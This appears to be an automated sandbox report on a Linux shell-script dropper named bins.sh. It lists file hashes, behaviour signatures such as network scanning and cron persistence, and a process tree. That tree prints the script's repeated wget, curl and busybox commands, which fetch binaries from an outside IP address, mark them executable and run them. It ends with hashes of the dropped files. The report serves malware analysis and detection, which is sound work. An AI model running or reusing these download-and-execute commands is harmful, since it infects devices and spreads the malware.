Analysis

  • max time kernel
    150s
  • max time network
    179s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    24-11-2024 08:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    00e6a838ebbbb8d44e8bde3072d71948

  • SHA1

    18ba68e4dc8af71f08dc42dc68055a295059cee5

  • SHA256

    e8edf9c2eda40f1e035b097be7b90505f3ff5a8c1c33aa3a5ddf8477b75b42be

  • SHA512

    a8395ad7797c42c32a6f073151b82aea873fa6c842131b0899ee95e667e0038619feddfc236a5b12c834fb6a032f31a0cd79e3f931da05269dda866616ebdc14

  • SSDEEP

    192:uTWqEbzElT+8s8V5fmlJRGmGxFNCiOn8s8V5alJRGm6xFNCi/WqEbzcq:unT+8s8V5fmlJRGmrn8s8V5alJRGmf

Malware Config

Signatures

  • Contacts a large (1574) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:724
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          ./nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Writes file to tmp directory
            PID:736
          • /bin/chmod
            chmod 777 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • File and Directory Permissions Modification
            PID:737
          • /tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            ./0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
            • Executes dropped EXE
            PID:738
          • /bin/rm
            rm 0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T
            2⤵
              PID:740
            • /usr/bin/wget
              wget http://216.126.231.240/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • Writes file to tmp directory
              PID:741
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • Writes file to tmp directory
              PID:746
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • Writes file to tmp directory
              PID:759
            • /bin/chmod
              chmod 777 PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • File and Directory Permissions Modification
              PID:765
            • /tmp/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              ./PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
              • Executes dropped EXE
              PID:767
            • /bin/rm
              rm PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK
              2⤵
                PID:771
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • Writes file to tmp directory
                PID:772
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • Writes file to tmp directory
                PID:783
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • Writes file to tmp directory
                PID:795
              • /bin/chmod
                chmod 777 Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • File and Directory Permissions Modification
                PID:796
              • /tmp/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                ./Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                • Executes dropped EXE
                PID:797
              • /bin/rm
                rm Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM
                2⤵
                  PID:799
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • Writes file to tmp directory
                  PID:800
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /bin/chmod
                  chmod 777 tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • File and Directory Permissions Modification
                  PID:806
                • /tmp/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  ./tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                  • Executes dropped EXE
                  PID:807
                • /bin/rm
                  rm tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk
                  2⤵
                    PID:809
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • Writes file to tmp directory
                    PID:810
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • Writes file to tmp directory
                    PID:811
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • Writes file to tmp directory
                    PID:821
                  • /bin/chmod
                    chmod 777 y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • File and Directory Permissions Modification
                    PID:826
                  • /tmp/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    ./y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:827
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:830
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:831
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:833
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:835
                        • /bin/rm
                          rm y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu
                          2⤵
                            PID:841
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                            2⤵
                              PID:845
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                              2⤵
                                PID:928
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                                2⤵
                                • Writes file to tmp directory
                                PID:930
                              • /bin/chmod
                                chmod 777 hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                                2⤵
                                • File and Directory Permissions Modification
                                PID:937
                              • /tmp/hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                                ./hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                                2⤵
                                • Executes dropped EXE
                                PID:938
                              • /bin/rm
                                rm hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL
                                2⤵
                                  PID:940
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/RXpoibTDnBbVMLwf5HHlG1TxKmWgMbEXgD
                                  2⤵
                                    PID:941

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/0yPOrGwt4oDYLgegdQRzxG4OU3uqyD1I8T

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/Dji2a7WyZuK6gCmEdOZe3eD8fUwLJdUpCM

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/PUqN1KhYPNWYp8jwxhEPeo32oQYdC6nxkK

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/hDnTG0Y48Qig5W9Zh21eLcBkfn8MTBIdOL

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/nMs4BHUQ3Mpv68fm7PmA4AMDIumyGXabsN

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/tZ9F5PpspbqJBeSDuL5SsFEH5rQFLCiWkk

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/y3YjUZsMaEyB1p2AyzpKnkNGIWj9zPQQQu

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /var/spool/cron/crontabs/tmp.sLwoUd

                                  Filesize

                                  210B

                                  MD5

                                  06ee19e9d9ae167a3511cf8b68690228

                                  SHA1

                                  678a31f5d6163cf24405ff4955e3b07417083859

                                  SHA256

                                  e555d2d97f18b30540569222735c1a88cc5ead269676a2f1fdbc40cf6743cfc9

                                  SHA512

                                  8cae5f7b5f791f8010d760ca02fee799e94cf84918eabb3b4bc7411149ded570e6b83cb7c3e2ade489120c124672862695d4784d2fc0082ac43e32c80f75db92